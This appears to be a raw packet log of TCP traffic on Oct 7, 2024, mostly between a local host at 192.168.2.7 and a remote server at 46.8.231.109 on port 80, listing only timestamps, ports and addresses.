Oct 7, 2024 18:43:18.795692921 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.795717001 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.795741081 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.795844078 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.795860052 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.795870066 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.795880079 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.795891047 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.795898914 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.795908928 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.795918941 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.795994043 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.796276093 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.796297073 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.796308041 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.796318054 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.796329021 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.796334982 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.796339035 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.796350956 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.796360016 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.796360970 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.796372890 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.796384096 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.796387911 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.796394110 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.796403885 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.796410084 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.796416998 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.796427965 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.796428919 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.796437979 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.796448946 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.796458006 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.796461105 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.796469927 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.796479940 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.796480894 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.796492100 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.796498060 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.796519041 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.796542883 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.796696901 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.796708107 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.796740055 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.796817064 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.796828985 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.796838999 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.796849966 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.796859026 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.796859980 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.796870947 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.796879053 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.796884060 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.796895027 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.796905994 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.796914101 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.796914101 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.796941042 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.796967030 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.796979904 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.797003984 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.797025919 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.797163963 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.797189951 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.797203064 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.797207117 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.797219038 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.797229052 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.797239065 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.797228098 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.797250032 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.797261953 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.797271967 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.797276974 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.797281981 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.797286987 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.797297001 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.797317028 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.797312975 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.797313929 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.797327042 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.797349930 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.797313929 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.797388077 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.797400951 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.797411919 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.797424078 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.797431946 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.797431946 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.797434092 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.797431946 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.797431946 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.797431946 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.797450066 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.797465086 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.797475100 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.797475100 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.797477961 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.797487974 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.797497988 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.797509909 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.797508955 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.797509909 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.797523975 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.797533035 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.797538042 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.797549963 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.797576904 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.797576904 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.797597885 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.798028946 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.798039913 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.798048973 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.798058987 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.798075914 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.798099041 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.798113108 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.798113108 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.798118114 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.798130035 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.798135042 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.798147917 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.798156977 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.798161030 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.798168898 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.798172951 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.798183918 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.798185110 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.798196077 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.798202038 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.798207998 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.798218012 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.798219919 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.798228979 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.798244953 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.798254967 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.798283100 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.798300028 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.798310041 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.798320055 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.798338890 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.798343897 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.798357010 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.798358917 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.798381090 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.798405886 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.799339056 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.799349070 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.799360037 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.799391031 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.799406052 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.799807072 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.799819946 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.799830914 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.799841881 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.799856901 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.799871922 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.865848064 CEST	49706	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:18.865874052 CEST	443	49706	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:18.884006977 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.884032965 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.884046078 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.884056091 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.884067059 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.884077072 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.884088039 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.884099960 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.884100914 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.884146929 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.884196997 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.884212017 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.884223938 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.884234905 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.884246111 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.884253979 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.884284973 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.884318113 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.884327888 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.884341002 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.884351015 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.884367943 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.884393930 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.885452986 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.885464907 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.885477066 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.885485888 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.885498047 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.885502100 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.885509014 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.885519981 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.885529995 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.885536909 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.885570049 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.885598898 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.885610104 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.885621071 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.885637045 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.885643959 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.885649920 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.885654926 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.885663033 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.885674953 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.885682106 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.885684013 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.885698080 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.885726929 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.885756969 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.885766983 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.885776997 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.885799885 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.885802984 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.885812998 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.885839939 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.885869026 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.885880947 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.885890961 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.885900974 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.885909081 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.885920048 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.885931969 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.885941982 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.885951042 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.885963917 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.885978937 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.886204004 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886219978 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886230946 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886240005 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886249065 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.886253119 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886264086 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886270046 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.886275053 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886286020 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886295080 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.886295080 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886305094 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.886306047 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886317968 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886328936 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886338949 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886343002 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.886369944 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.886383057 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.886394024 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886404991 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886414051 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886424065 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886435032 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886436939 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.886446953 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886457920 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886464119 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.886468887 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886473894 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.886482000 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886492014 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886502981 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.886531115 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.886722088 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886733055 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886742115 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886753082 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886763096 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886769056 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.886774063 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886781931 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.886785984 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886797905 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886809111 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886811018 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.886820078 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886835098 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.886848927 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.886878014 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.886919975 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886930943 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886940956 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886950970 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886960983 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.886961937 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886970997 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.886976004 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886986971 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.886996984 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.887002945 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.887017012 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.887043953 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.887073040 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.887084961 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.887094975 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.887104988 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.887111902 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.887115002 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.887126923 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.887135983 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.887140989 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.887151957 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.887166977 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.887178898 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.887206078 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.887558937 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.887571096 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.887582064 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.887609959 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.887630939 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.887681007 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.887700081 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.887715101 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.887725115 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.887727976 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.887737036 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.887738943 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.887749910 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.887758017 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.887763023 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.887779951 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.887779951 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.887793064 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.887801886 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.887808084 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.887814045 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.887825012 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.887828112 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.887840986 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.887867928 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.887890100 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.887901068 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.887921095 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.887931108 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.887933016 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.887943029 CEST	80	49699	46.8.231.109	192.168.2.7
